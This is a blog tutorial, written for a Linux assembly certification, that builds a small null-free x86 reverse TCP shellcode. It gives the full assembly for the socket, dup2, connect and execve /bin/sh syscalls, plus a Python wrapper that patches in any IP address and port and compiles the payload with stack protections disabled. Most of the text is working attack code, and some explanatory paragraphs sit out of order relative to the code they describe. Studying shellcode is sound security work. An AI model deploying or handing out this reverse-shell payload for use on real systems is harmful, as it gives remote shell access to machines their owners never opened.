Art of Shellcoding: Tale of the Smallest Reverse TCP Shellcode
Modern Ninja :) |
In this article, we will discuss how we can create a reverse TCP shellcode. In case you missed my previous post, click here to read it first since this post builds heavily on the mechanisms discussed in the last post.
Our Agenda for this exercise is to:
- Build a Null Free TCP reverse shellcode
- Write a wrapper that can update IP address and port in the shellcode
- Write an efficient and small shellcode
Note: On this day (Friday, Jan 5, 2018, 1:28 AM IST) The shellcode we created in this post is the smallest Null -Free and Register Pollution Free /bin/sh shellcode (checked on exploit-db.com), Not counting ( Register Pollution based Shellcodes, Netcat Reverse Shells)
Update: The Shellcode has been accepted by Exploit-DB and can be found at https://www.exploit-db.com/exploits/43433/
So, let's quickly generate a linux/x86/shell_reverse_tcp using msfvenom and feed it to libemu as shown on the following screen:
We can see that we have primarily four system calls that will come handy for creating shellcode for reverse TCP which are: socket, dup2, connect and execve. The main change in this shellcode is that instead of having system calls like bind, accept and listen, we have connect system call only. This makes our work reasonably comfortable as the only change required is to place the connect system call instead of all the three discussed above. So let's get started. However, we will try to write a much more efficient and space friendly code this time. The first call is SYS_SOCKET, let's set it up as shown on the following screen:
Compiling the shellcode in a C program and testing it, we can see that our shellcode works correctly as shown below:
Let's write a python wrapper for the shellcode so that changing IP address and PORT on the fly won't be a hassle for us:
We have completed all the required tasks. We now have one of the smallest reverse TCP shellcode with an on the fly IP and Port changing wrapper.
Files for this tutorial can be found at:
https://github.com/nipunjaswal/slae-exam/tree/master/ASSGN-2
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-1080
Update: The Shellcode has been accepted by Exploit-DB and can be found at https://www.exploit-db.com/exploits/43433/
[shellcode] Linux/x86 - Reverse TCP Shell (127.1.1.1:8888/TCP) Shellcode (69 bytes) https://t.co/a8OWh1glPG— Exploit Database (@ExploitDB) January 5, 2018
Libemu Analysis of the Reverse Shell TCP |
Similar to the bind shell, we setup SYS_SOCKET as shown above. We can see we have DUP2 as the next system call which is being called thrice. Hence, let's set it up as follow:
xor ebx,ebx ; Clearing out EBX
push ebx ; Pushing 0 onto the stack i.e. Value of EBX ---> IP_PROTO
inc ebx ; Increment EBX to 1 ---> SYS_SOCKET
push ebx ; Push 1 onto the stack ---> SOCK_STREAM
push 0x2 ; Push 2 onto the stack ---> AF_INET (domain: Internet)
mov ecx, esp ; Move the pointer to ECX, which will point to {2,1,0}
push 0x66 ; SOCKETCALL
pop eax ; SOCKETCALL --> EAX
int 0x80 ; Interrupt ( EAX=> 0x66 EBX=0x1 ECX => {2,1,0}
The above set of instructions will loop until the value of ECX becomes zero and SF Flag is set. Next, We have the core system call of this shellcode which will connect to the listeners IP address on the specified port. Let's set up the connect system call as follows:
xchg ebx,eax ; The resultant sockfd value from the previous call is moved to EBX
pop ecx ; Top of the stack contains 2 pushed in the previous call, we load it to ECX
loop: ; Loop Begins
mov al,0x3f ; Moving DUP2 call to EAX
int 0x80 ; Interrupt
dec ecx ; Decreasing ECX
jns loop ; Loop until SF Not Set
There are two main highlights here; We did not move 0xb8220002 as a DWORD this may have decreased the length of the shellcode, but it would have introduced a Null byte as well(0002). Hence, we pushed port in two halves. Additionally, we did not use IP as 127.0.0.1 because it would have contained nulls as well. Interestingly, we did not load 16 as the length this time and pushed the value of the call itself as length. This also means that it has a negligible effect on the system call. Hence, we saved bytes required to clear it out and loading the value 16 in there as we did in the previous post. Finally, we have the last segment of code as follows:
push 0x101017f ; IP Address 127.1.1.1
push word 0xb822 ; Port 8888 (DWORD would have caused a NULL Byte)
push word 2 ; AF_INET (Null Byte in AF_INET: 0002)
mov ecx,esp ; Pointer 1 to {b8220002,0101017f)
mov al,0x66 ; SOCKETCALL
push eax ; We push 66 as length (Clearing EAX not required)
push ecx ; Pointer 1 Pushed onto the stack
push ebx ; Sockfd pushed onto the stack
mov bl,0x3 ; EBX now contains SYS_CONNECT
mov ecx,esp ; Pointer 2 --> {sockfd, Pointer 1, 66}
int 0x80 ; Interrupt Generated
The code above is nothing but setting up EXECVE like we did in the last post. Compiling the code we have:
push edx ; Pushing 0 Value to the stack
push 0x68732f2f ; /bin
push 0x6e69622f; //sh
mov ebx,esp ; pointer 1 {/bin//sh}
push edx ; Pushing 0 Value to the stack
push ebx ; Pointer 1 to the stack
mov ecx,esp ; pointer 2 {Pointer 1, 0}
mov al,0xb ; EXECVE System Call
int 0x80 ; Interrupt
Generating Shellcode |
Compiling and running shellcode.c program with our shellcode |
Running the python code, we can see that we can now change IP and port parameters on the fly:
#!/usr/bin/python import sys import socket print "Stub File:"+sys.argv[1] print "IP Addr:"+sys.argv[2] print "Port Used:"+ sys.argv[3] ip_addr= sys.argv[2].split(".") ip_addr_bytes = '{:02X}{:02X}{:02X}{:02X}'.format(*map(int, ip_addr)) with open(sys.argv[1]+".c", "rb") as f: contents = f.readlines() def H( hexStr ): bytes = [] hexStr = ''.join( hexStr.split(" ") ) for i in range(0, len(hexStr), 2): bytes.append( chr( int (hexStr[i:i+2], 16 ) ) ) return ''.join( bytes ) ip_addr_final= repr(H(ip_addr_bytes)).replace("'","") port = hex(int(sys.argv[3])).split('x')[1] fh, sh = port[:2],port[2:] if len(fh) == 1: fh = "0" + fh if len(sh) == 1: sh = "0" + sh _p = "\\x{0}\\x{1}".format(fh,sh) for j,i in enumerate(contents): if "\\x22\\xb8" in i: print "Line Number :" + str(j) contents[j] = '"' + _p +'"' elif "\\x7f\\x01\\x01\\x01" in i: print "Line Number :" + str(j) contents[j] = '"' +ip_addr_final + '"' nf = sys.argv[1]+"_new.c" with open(nf, "wb") as f: f.writelines(contents) import os os.system("gcc {0} -o {1} -fno-stack-protector -z execstack".format(nf,sys.argv[1])) os.system("rm {0}".format(nf))
Wrapper & Execution |
Files for this tutorial can be found at:
https://github.com/nipunjaswal/slae-exam/tree/master/ASSGN-2
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-1080
No comments: